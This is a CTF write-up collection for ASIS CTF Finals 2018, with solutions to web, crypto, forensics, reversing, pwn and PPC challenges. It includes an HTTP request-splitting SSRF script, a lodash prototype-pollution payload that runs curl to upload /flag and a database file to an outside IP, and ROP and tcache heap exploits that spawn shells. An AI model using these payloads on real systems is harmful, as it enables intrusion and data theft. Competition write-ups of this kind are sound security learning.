ASIS CTF Finals 2018
Web
Proxy-Proxy
bookgin
First the server gives the link to proxy/internal_website/public_notes
and proxy/internal_website/public_links
in the landing page. I try to use different API endpoint like proxy/internal_website/aaaa
, and the server returns all the availble API for me:
available_endpoints = ['public_notes', 'public_links', 'source_code']
Let's check out source_code
of the server:
const express = require('express');
const fs = require('fs');
const path = require('path');
const body_parser = require('body-parser');
const md5 = require('md5');
const http = require('http');
var ip = require("ip");
require('x-date');
var server_ip = ip.address()
const server = express();
server.use(body_parser.urlencoded({
extended: true
}));
server.use(express.static('public'))
server.set('views', path.join(__dirname, 'views'));
server.set('view engine', 'jade');
server.listen(5000)
server.get('/', function (request, result) {
result.render('index');
result.end()
})
function check_endpoint(available_endpoints, endpoint) {
for (i of available_endpoints) {
if (endpoint.indexOf(i) == 0) {
return true;
}
}
return false;
}
fs.readFile('flag.dat', 'utf8', function (err, contents) {
if (err) {
throw err;
}
flag = contents;
})
server.get('/proxy/internal_website/:page', function (request, result) {
var available_endpoints = ['public_notes', 'public_links', 'source_code']
var page = request.params.page
result.setHeader('X-Node-js-Version', 'v8.12.0')
result.setHeader('X-Express-Version', 'v4.16.3')
if (page.toLowerCase().includes('flag')) {
result.sendStatus(403)
result.end()
} else if (!check_endpoint(available_endpoints, page)) {
result.render('available_endpoints', { endpoints: JSON.stringify(available_endpoints) })
result.end()
} else {
http.get('http://127.0.0.1:5000/' + page, function (res) {
res.setEncoding('utf8');
if (res.statusCode == 200) {
res.on('data', function (chunk) {
result.render('proxy', { contents: chunk })
result.end()
});
} else if (res.statusCode == 404) {
result.render('proxy', { contents: 'The resource not found.' })
result.end()
} else {
result.end()
}
}).on('error', function (e) {
console.log("Got error: " + e.message);
});
}
})
server.use(function (request, result, next) {
ip = request.connection.remoteAddress
if (ip.substr(0, 7) == "::ffff:") {
ip = ip.substr(7)
}
if (ip != '127.0.0.1' && ip != server_ip) {
result.render('unauthorized')
result.end()
} else {
next()
}
})
server.get('/public_notes', function (request, result) {
result.render('public_notes');
result.end()
})
server.get('/public_links', function (request, result) {
result.render('public_links');
result.end()
})
server.get('/source_code', function (request, result) {
fs.readFile('server.js', 'utf8', function (err, contents) {
if (err) {
throw err;
}
result.render('source_code', { source: contents })
result.end()
})
})
server.get('/flag/:token', function (request, result) {
var token = request.params.token
if (token.length > 10) {
console.log(ip)
fs.writeFile('public/temp/' + md5(ip + token), flag, (err) => {
if (err) throw err;
result.end();
});
}
})
server.get('/', function (request, result) {
result.render('index');
result.end()
})
server.get('*', function (req, result) {
result.sendStatus(404);
result.end()
});
The server basically behaves like a reverse proxy. Excluding /proxy/interal_website
, all the other APIs require the connection from localhost. The main objective is visiting /flag/:token
via /proxy/internal_website/:page
but we have to find an approach to bypass the following constraints:
:page
doesn't containflag
:page
starts withpublic_notes
,public_links
orsource_code
- cannot contain
/
(becauseexpress
params is split by/
)
Okay, so let's take a look at how many parser are parsing our request:
- client browser (curl/firefox/chrome)
- express parameter
:page
- nodejs
http
module - express router
Actually 1 is not necessary, but just a friendly reminder: your browser might parse your url first, e.g.: /asd/../ggg
becomes /ggg
.
The most possible parsers to exploit are 2 and 3. Note that the server even gives the version information. After a few fuzzing, I found in 2 you can pass some non-pritable chracter through percent-encoding. In 3 you can use backslash to represent /
.
However it's still not enough to bypass the constraint 2.
Then I start to google some interesting information of path parsing. I remember in blackhat 2017, there is an great SSRF slide by Orange Tsai from Taiwan. Please refer to page 44.
In nodejs v8.12.0 http module:
http.get('http://localhost:1234/\uff2e\uff2e')
GET /.. HTTP/1.1
Host: localhost:1234
Connection: close
Actually we can do some CSRF injection here using \uff0d\uff0a
. Another interesting ariticle of CSRF injection I found is request splitting by Ryan Kelly. We can inject two CRLFs to make the nodejs socket send another request!
The rest is trivial. Just send the request to /flag/:token
. Here is the final payload:
#!/usr/bin/env python3
import hashlib
from urllib.parse import quote, unquote
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('162.243.23.15', 8002))
uni = {
'/': quote('\uff2f'.encode('utf-8')),
' ': quote('\uff20'.encode('utf-8')),
'\n': quote('\uff0a'.encode('utf-8')),
'\r': quote('\uff0d'.encode('utf-8')),
'g': quote('\uff67'.encode('utf-8')),
}
print(uni)
payload = 'public_notes HTTP/1.1\r\n\r\nGET /flag/taiwannumberone HTTP/1.1\r\nVia:'
for c, encoded in uni.items():
payload = payload.replace(c, encoded)
print(payload)
sock.send(f'GET /proxy/internal_website/{payload} HTTP/1.1\r\n\r\n'.encode())
print(*sock.recv(8192).split(b'\r\n'), sep='\n')
md5sum = hashlib.md5(b'127.0.0.1taiwannumberone').hexdigest()
sock.send(f'GET /temp/{md5sum} HTTP/1.1\r\n\r\n'.encode())
print(*sock.recv(8192).split(b'\r\n'), sep='\n')
sock.close()
You can also use double-encoding %2561
to represent a
, or backslash to represent /
in order to bypass the constrinat.
Failed attempts
- Using
../
to bypass the constaint 2 in nodehttp
module- Actually node v11.0.0 supports this feature. We can pass the
/aaaaa/../flag
to the parameter, the nodehttp
will resolve to/flag
and send the request to/flag
. However this doesn't work in node v8.12.0.
- Actually node v11.0.0 supports this feature. We can pass the
- Using
../
or percent encoding to bypass the constaint2 inexpress
router- However
express
seems to parse the API very strictly...... I can't even make the express parsing incorrectly ../
only works in static filepath, likeimages/../images/image.png
.
- However
- Write a fuzzing script to find characters which make the parser parsing incorrectly:
- Nothing interesting in node v8.12, but this script help me to find this interesting payload in node v11.0.0
http://localhost/abcde\..\def
becomeshttp://localhost/def
const http = require('http');
function get(url) {
return new Promise(resolve => {
//console.log(JSON.stringify(url))
try {
http.get(url,r => {
r.setEncoding('utf8');
r.on('data', c => {
if (c.indexOf('index') != -1 && r.statusCode == 200)
resolve(console.log(url, c))
if (c.indexOf('public_links') != -1 && r.statusCode == 200)
resolve(console.log(url, c))
else
resolve();
});
}).on('error', e => resolve());
} catch(e) {
resolve();
}
});
}
var seeds = ['', '//', '\uff2f\uff2f', '\uff2e\uff2e', '%2f', '..', '..\\..\\', '..\\', '../', '\\\\', 'public_links', '/', '%2e%2e', '%252e%252e', '..', '.', '?', '%2f', '%252f', '%3f', '%253f', '\\\\', '\\', '%5c', '%255c', '\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\n', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~', '\x7f']
;
(async () => {
for (let i of seeds)
for (let j of seeds)
for (let k of seeds){
url = 'http://127.0.0.1:5000/public_notes' + i+j+k
await get(url)
}
})()
Secure API
bookgin
We are given a nodejs API which we can read/write the notes. Follow the instruction on the landing page and visit /help
, and we can see a hidden file fetcher API:
{
"API":"JS Fetcher, ver Beta","endpoints": [{
"endpoint":"/fetchJSAPI/fetch",
"method":"GET",
"description":"Fetch a JS file and show it.",
"params":{"path":"The file path"}
}]
}
Okay, let's try to guess the filename of the server. Visiting /fetchJSAPI/fetch/server.js
, it turns out the server is named server.js
. Note that the param must end in .js
. Otherwise the server will not return the file content.
const express = require('express');
const path = require('path');
const body_parser = require('body-parser');
const FileSync = require('lowdb/adapters/FileSync')
const lowdb = require('lowdb');
const adapter = new FileSync('db.json')
const db = lowdb(adapter)
const server = express();
server.use(express.static('public'))
server.set('views', path.join(__dirname, 'views'));
server.set('view engine', 'jade');
server.listen(4000)
server.use(body_parser.json({ type: 'application/*+json' }))
server.use(body_parser.urlencoded({ extended: true }));
var routes = require('./api/routes/routes');
routes(server);
server.get('*', function (req, result) {
result.sendStatus(404);
result.end()
});
The main script includes other routers in ./api/routes/routes
. However, most of the note API is not interesting because the read-only
in config.json
is set to true. We cannot create/delete a new note. Here is the note router source code:
'use strict';
const fs = require('fs');
const path = require('path')
const uuid = require('uuid');
const _ = require('lodash');
var notes_model = require('../models/notes_model');
const config = JSON.parse(fs.readFileSync(path.join(__dirname, '../../config.json')))
var utilities = require('../controllers/utilities');
exports.fetch_all_notes = function (req, res) {
res.json(notes_model.notes.value());
res.end()
};
exports.fetch_a_note = function (req, res) {
var data = notes_model.notes_data.find({ "id": req.params.noteId, "key": req.params.noteKey }).value(data)
if (typeof data === 'undefined') {
res.json(utilities.send_result(false, "Either invalid node-data.id or node-data.key has been submitted."));
res.end()
} else {
res.json(utilities.send_result(true, "Authorization has been granted. The note has been fetched from database.", data));
res.end()
}
};
exports.delete_a_note = function (req, res) {
if (!config.read_only) {
var data = notes_model.notes_data.remove({ "id": req.params.noteId, "key": req.params.noteKey }).write()
if (!Object.keys(data).length) {
res.json(utilities.send_result(false, "Either invalid node-data.id or node-data.key has been submitted."));
res.end()
} else {
notes_model.notes.remove({ "id": req.params.noteId }).write()
res.json(utilities.send_result(true, "Authorization has been granted. The note has been deleted.", { "data": data[0].id }));
res.end()
}
}else{
res.json(utilities.send_result(false, "This section is inactive duo to read-only mode.",{}));
}
};
exports.make_a_note = function (req, res) {
if ('notedata' in req.body && '0' in req.body.notedata) {
var data_to_insert = req.body.notedata[0]
if (!('owner' in data_to_insert) || !('description' in data_to_insert) || !('key' in data_to_insert) || !('note' in data_to_insert)) {
var data_to_insert = _.merge({ "owner": "BLANK", "description": "BLANK", "key": "BLANK", "note": "BLANK" }, data_to_insert)
}
var id = uuid()
var notes_data_1 = { "id": id, "owner": data_to_insert.owner, "description": data_to_insert.description }
var notes_data_2 = { "id": id, "key": data_to_insert.key, "note": data_to_insert.note }
if (!config.read_only) {
notes_model.notes.push(notes_data1).write()
notes_model.notes_data.push(notes_data2).write()
res.json(utilities.send_result(true, "The note has been created.", { "public": notes_data_1, "secret": notes_data_2 }));
} else {
res.json(utilities.send_result(false, "The note has not been created duo to read-only mode.", { "public": notes_data_1, "secret": notes_data_2 }));
}
} else {
res.end()
}
};
In other APIs, the most suspicious one is status
:
'use strict';
const path = require('path')
const fs = require('fs');
const { exec } = require('child_process');
const config = JSON.parse(fs.readFileSync(path.join(__dirname, '../../config.json')))
exports.get_gtatus = function (req, res) {
var commands = {
"script-1": "uptime",
"script-2": "free -m"
};
console.log(commands)
for (var index in commands) {
exec(commands[index], (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK')
res.end()
}
exports.app_config = function (req, res) {
fs.readFile(config.app_root + 'package.json', { encoding: 'utf-8' }, function (err, data) {
if (!err) {
res.writeHead(200, { 'Content-Type': 'text/html' });
res.write(data);
res.end();
}
})
}
It will execute those innocuous shell commands when visiting this API, but how to manipulate the hard-coded commands? The first thought comes to my mind is javascript prototype polution. If we can modify the prototype we can inject arbitrary command!
The only thing we can control is through the note API. It use lodash
to merge the note with empty one. Then I search the lodash vulnerability and find this interesting. It's just what we needed - Prototype Pollution.
So the rest is trivial. Pollute the command object and get RCE of the server
#!/usr/bin/env python3
import json
import requests
s = requests.session()
data= {
"notedata": [{"__proto__": {"script-3" : "curl 140.112.31.105:1234 -F 'a=@/flag' -F 'b=@/opt/db.json'", }}],
}
r = s.post('http://162.243.23.15:8003/noteAPI/make_a_note', headers={'Content-Type': 'application/javascript+json'}, data=json.dumps(data))
r = s.get('http://162.243.23.15:8003/status')
print(r.text)
print(r.status_code)
The remote server seems to have no nc
, so I use curl to send the files.
Falled Attempts
Trying to bypass the endswith
.js
check:exports.fetch = function (req, res) { var file_path = req.params.path var arr = file_path.split('.'); if (arr.length > 1) { if (arr[arr.length - 1] == 'js') { fs.readFile(config.js_dir + file_path, { encoding: 'utf-8' }, function (err, data) { if (!err) { res.writeHead(200, { 'Content-Type': 'text/html' }); res.write(data); res.end(); } else { res.setHeader('JS-Files', 'test.js') res.send(err) res.end(); } }); } else { res.send('Only .js files.'); res.end(); } }else{ res.send('Only .js files.'); res.end(); } }
Although I can use percent-encoding %2f
to send /
, I can't bypass the file extension check.
Actually I don't have other failled attempts. If you cannot come out of Prototype pollution, don't be disappointed. At least you learn something new :)
SSL-VPN
bookgin
Unsolved, for the compelte writeup please refer to @YShahinzadeh's writeup
Basically this is a SSRF challenge, using @
to make the google.com
part being interperted as HTTP Basic access authentication.
http://google.com@127.0.0.1:12345/abc
//send the request to 127.0.0.1:12345
I get the db.json through visiting http://162.243.23.15:8000/db.json/
. Just append a slash.
It's silly I didn't solve this one, because I forget to try the empty string in the path
parameter...... so I assume it must be /
.
Failed Attempts
- CSRF injection in http module
- But the http module works well with
../
, so I think it's not the vulnerable version.
- But the http module works well with
- Gussing the other API in
http://162.243.23.15:8001
- Nothing interesting. The
echo
API even doesn't return anything if we access it directly.
- Nothing interesting. The
- Add the header
X-SSLVPN-Request-Id: 9B60:6E97:25ADB08:45E4D17:5AE34BA4
in the requests- It's totally useless.
Crypto
Made by baby
FWEASD
We are provided with an encrypted png and an encrypt script. Here is the encrypt function
from secret import exp, key
def encrypt(exp, num, key):
assert key >> 512 <= 1
num = num + key
msg = bin(num)[2:][::-1]
C, i = 0, 1
for b in msg:
C += int(b) * (exp**i + (-1)**i)
i += 1
try:
enc = hex(C)[2:].rstrip('L').decode('hex')
except:
enc = ('0' + hex(C)[2:].rstrip('L')).decode('hex')
return enc
flag = open('flag.png', 'r').read()
msg = int(flag.encode('hex'), 16)
enc = encrypt(exp, msg, key)
f = open('flag.enc', 'w')
f.write(enc)
f.close()
We can see that this function simply convert base-10 system to base-2 system, then interpret it as it is base-exp
system, however, there are some more operation.
- add
num
, which isflag.png
, with a small number,key
. - multiply
num
byexp
, since inencrypt()
,i
start with 1. - add some small noise while interpreting base-2 system as it is base-
exp
system.
So we can expect that, if we find the correct exp
, and convert it to base-exp
system, besides some low bits, most bits should 0 or 1.
We first bruteforce to find that exp
may be 3. Then ignore the noise added and recover it with the following script.
# convert to base-num system
def rep(x, num):
ret = []
while num:
q = num % x
num = num // x
ret.append(q)
return ret
f = open('flag.enc', 'r')
flag = f.read().encode('hex')
flag = int(flag, 16)
print flag
c = 0
i = 1
ret = rep(3, flag)
ans = ''
print ret
cnt = 0
for num in list(reversed(ret)):
cnt += 1
num = int(num)
if num == 1:
ans += '1'
elif num == 0:
ans += '0'
else:
ans += '0'
try:
pr = hex(int(ans, 2) // 2)[2:].rstrip('L').decode('hex')
except:
pr = ('0'+hex(int(ans, 2) // 2)[2:].rstrip('L')).decode('hex')
f = open('test.png', 'w')
f.write(pr)
f.close()
However the output can not be recognized by image reader, since the last chunk of png, a.k.a. IEND
, is broken. Simply recover it by hand, change last 9 bytes of the png to \x49\x45\x4e\x44\xae\x42\x60\x82\x0a
, then we can find an a little bit blurred flag.png.
flag : ASIS{n3w_g1f7_by_babymade_in_ASIS!!!}
Forensic
Red Bands
FWEASD
We are provided with some sparse bundle disk image. First unzip them to get bands with size 8MB. Now simply use binwalk
on them and we can find that there exist some image in band 5
.
Then strings 5 | grep "flag"
, the output will show flag.png
, apparently the flag is in band 5
. However after extract all image in band 5
, we can not found flag.
After a little bit of struggle, we try strings -n 3 5 | grep "PNG"
, the output :
PNG
PNG
PNG
PNG
However only two image is extracted by binwalk -eM 5
, so we manually check headers by python, and found the third header of PNG is broken, it is \x90PNG\r\n...
instead of \x89PNG\r\n...
, simply fix it and extract, we got flag.
Here is the exploit script
f = open('5', 'rb')
x = f.read()
f.close()
idx = 0
while 1:
place = x.find('PNG')
if place <= 0:
break
f = open('_' + str(idx) + '.png', 'wb')
x = x[place:]
f.write('\x89' + x)
f.close()
x = x[3:]
idx += 1
flag : ASIS{Mac_OS_X_Sp4rs3_Bundl3_D15k_iM49E__b4nds_Are_LOppY!}
Reverse
Bit square
FWEASD
We are given two files : bit_square
, flag.enc
with strace ./bit_square
we can see that it attempt to read flag.png
, and write encrypted data into flag.enc
Open bit_square
in IDA, we found that in function sub_2395
, it process the input image byte by byte, and all the operation are reversable, simply reverse them and we can recover the flag.png
Exploit script :
f = open('flag.enc', 'r')
x = [ord(i) for i in f.read()]
cnt = 0
idx = 0
ans = ''
# we should first recover v9
# we can achieve this since PNG files have specific header "\x89PNG"
v9 = 96
while idx < len(x):
if cnt % 4 == 0:
v8 = (x[idx] - 114) & 0xff
v7 = x[idx+1]
ans += chr(v7 ^ v8 ^ ((v9+cnt) & 0xff))
idx += 2
elif cnt % 4 == 1:
v7 = (x[idx] + 40) & 0xff
v8 = x[idx+1]
ans += chr(v7 ^ v8 ^ ((v9+cnt) & 0xff))
idx += 2
elif cnt % 4 == 2:
v6 = cnt ** 3
if v6 > 0x27:
v8 = x[idx]
v7 = x[idx+1]
else:
v7 = x[idx]
v8 = x[idx+1]
ans += chr(v7 ^ v8 ^ ((v9+cnt) & 0xff))
idx += 3
else:
v7 = x[idx]
v8 = x[idx+1]
ans += chr(v7 ^ v8 ^ ((v9+cnt) & 0xff))
idx += 3
cnt += 1
f = open('origin.png', 'w')
f.write(ans)
f.close()
flag : ASIS{3Xpla1n_h0w_it5_funnY$$$}
Pwn
Inception
FWEASD
This is a simple ROP chal with multithread.
It spawn a child thread, and the main thread wait until child thread send "TRANSMISSION_OVER\x00", the child thread will read a string, and if !strcmp("ASIS{N0T_R34LLY_4_FL4G}", input_string, )
, it will write user controlled buffer that can overflow main thread to main thread.
In both main thread and child thread can overwrite return address. However in child thread we can only use
- sys_read
- sys_write
- sys_close
- sys_exit
- sys_exit_group
Apparently we have to get shell in main thread, so I leak libc in child thread and write one_gadget to main thread's return address. Exploit script :
#!/usr/bin/python
from pwn import *
import sys
host = '37.139.17.37'
port = 1338
r = remote(host, port)
context.arch = 'amd64'
buf = 0x603000
write_plt = 0x400890
puts_plt = 0x0000000000400880
read_plt = 0x4008e0
puts_got = 0x0000000000602028
pop_rsi_r15 = 0x0000000000400cf1
pop_rdi = 0x0000000000400cf3
main_read = 0x400bb7
main_exit = 0x400c31
puts_base = 0x00000000000809c0
pop_rdx = 0x0000000000001b96
one_gadget = 0x4f322
r.recvuntil(':')
payload = 'ASIS{N0T_R34LLY_4_FL4G}\x00'.ljust(0x20, 'a')
payload += flat([buf-0x200, pop_rdi, puts_got, puts_plt, main_read])
r.sendline(payload)
r.recvuntil('Yeah tha')
libc = u64(r.recvn(6).ljust(8, '\x00')) - puts_base
print ('libc : ', hex(libc))
pop_rdx += libc
print ('pop_rdx : ', hex(pop_rdx))
one_gadget += libc
print ('one_gadget : ', hex(one_gadget))
# Since the PIPE fd number may vary due to some environment issue, you can specify your PIPE fd number here if 6 does not work for you.
if len(sys.argv) < 2:
# this would work in the origin remote server
fd = 6
else:
# or enter a file descriptor, probably 6 to 10, here may require some brute force
fd = int(sys.argv[1])
time.sleep(1)
payload = 'ASIS{N0T_R34LLY_4_FL4G}\x00'.ljust(0x20, 'a')
payload += flat([buf-0x400, pop_rdi, 0, pop_rsi_r15, buf-0x400, 0, pop_rdx, 0x400, read_plt, pop_rdi, fd, pop_rsi_r15, buf-0x400, 0, pop_rdx, 0x400, write_plt, main_exit])
r.sendline(payload)
time.sleep(1)
payload = 'TRANSMISSION_OVER\x00'.ljust(0x28, 'a')
payload += flat([one_gadget])
r.sendline(payload)
r.interactive()
flag : ASIS{2655b2e6fa6861246c9423c75d76c0e3}
Asvdb
FWEASD
In this chal we can
- add bug, which will allocate a bug struct
- free bug, which will free(title) -> free(description) -> free(bug) -> clear pointer to bug
- show bug, which will print all the content in a bug struct
we can input the// malloc(0x20) struct bug{ int year; int id; char *title = malloc(0x40); char *description = malloc(size); int severity; };
size
, if it smaller than 1 or it is bigger than 0xff, thebug
will still be allocate, however thedescription
pointer won't be overwrite. Then we can call free to trigger double free, thus we can do fast bin dup attack. Additionally, this is deployed in Ubuntu18.04, which use tcache, so we can simply malloc to arbitary place. I malloc to__free_hook
and overwrite it with a buf address, and the buf's content is"/bin/sh\x00"
, then trigger free to get shell.
Exploit script :
from pwn import *
host = '37.139.17.37'
port = 1337
context.arch = 'amd64'
r = remote(host, port)
def add(year, id, title, size, description, severity):
r.recvuntil('>')
r.sendline('1')
r.recvuntil(':')
r.sendline(str(year))
r.recvuntil(':')
r.sendline(str(id))
r.recvuntil(':')
if len(title) == 63:
r.send(title)
else:
r.sendline(title)
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
if size == 0:
pass
elif len(description) >= size - 1:
r.send(description)
else:
r.sendline(description)
r.recvuntil(':')
r.sendline(str(severity))
def free(idx):
r.recvuntil('>')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(idx))
def show(idx):
r.recvuntil('>')
r.sendline('4')
r.recvuntil(':')
r.sendline(str(idx))
r.recvuntil('Description: ')
return r.recvuntil('-----')[:-6]
free_got = 0x0000000000601fa0
free_base = 0x0000000000097950
__free_hook = 0x00000000003ed8e8
add(1, 1, '1', 0x68, 'a', 1) # 0
add(1, 1, '1', 0x68, 'a', 1) # 1
add(1, 1, '1', 0x68, 'a', 1) # 2
free(2)
free(0)
add(1, 1, '1', 0, '', 1) # 0
add(1, 1, '1', 0, '', 1) # 2
heap = u64(show(0).ljust(8, '\x00')) - 0x1e0
print ('heap : ', hex(heap))
free(0)
add(1, 1, '1', 0, '', 1) # 0
free(1)
free(0)
add(1, 1, '1', 0x68, p64(heap+0x60)+'a'*0x50+p64(0x71), 1) # 0
add(1, 1, '1', 0x68, 'a', 1) # 1
add(1, 1, '1', 0x68, p64(heap+0x60)+'a'*0x50+p64(0x71), 1) # 3
add(1, 1, '1', 0x68, 'a'*8+flat([0x31, 0, 0, free_got]), 1) # 4
libc = u64(show(1).ljust(8, '\x00')) - free_base
print ('libc : ', hex(libc))
__free_hook += libc
print ('__free_hook : ', hex(__free_hook))
free(4)
free(3)
free(0)
add(1, 1, '1', 0, '', 1) # 0
free(2)
free(0)
add(1, 1, '1', 0x68, p64(__free_hook), 1) # 0
add(1, 1, '1', 0x68, '/bin/sh\x00', 1) # 2
add(1, 1, '1', 0x68, p64(__free_hook), 1) # 3
add(1, 1, '1', 0x68, p64(system), 1) # 4
free(2)
r.interactive()
flag : ASIS{2655b2e6fa6861246c9423c75d76c0e3}
PPC
SPM
FWEASD
This is a simple PPC question. It ask us to find a integer $x$ , $\ s.t\ \ \ x^x\equiv a\pmod p$ where $p$ is a prime number. Solution: assume $x = n \times p + a$ by Fermat's little theorem $x^x \equiv (n \times p+a)^{(n \times p+a)}\equiv a\pmod p$ now $let\ n+a=m \times (p-1)+1$, so we can pick $m=1\Rightarrow n=p-a\Rightarrow x=p^2-a \times p+a$
Exploit script :
from common import start
host = '37.139.4.247'
port = 60049
r = remote(host, port)
# this is to pass the PoW chal
start(r)
cnt = 0
while 1:
try:
cnt += 1
print ('[{}]\tsolving...'.format(cnt))
r.recvuntil('| send a solutoin of super hard equation x ** x = a (mod p), for given a and p')
r.recvuntil('p = ')
p = int(r.recvuntil('\n'))
r.recvuntil('| a = ')
a = int(r.recvuntil('\n'))
# solve
m = 1
n = p - a
x = int(n * p + a)
r.sendline(str(x))
except:
r.interactive()
exit()
flag : ASIS{S1mple_T4sk_iN_S3lf_P0w3r_maP_eCMiJWd2PbuVJ}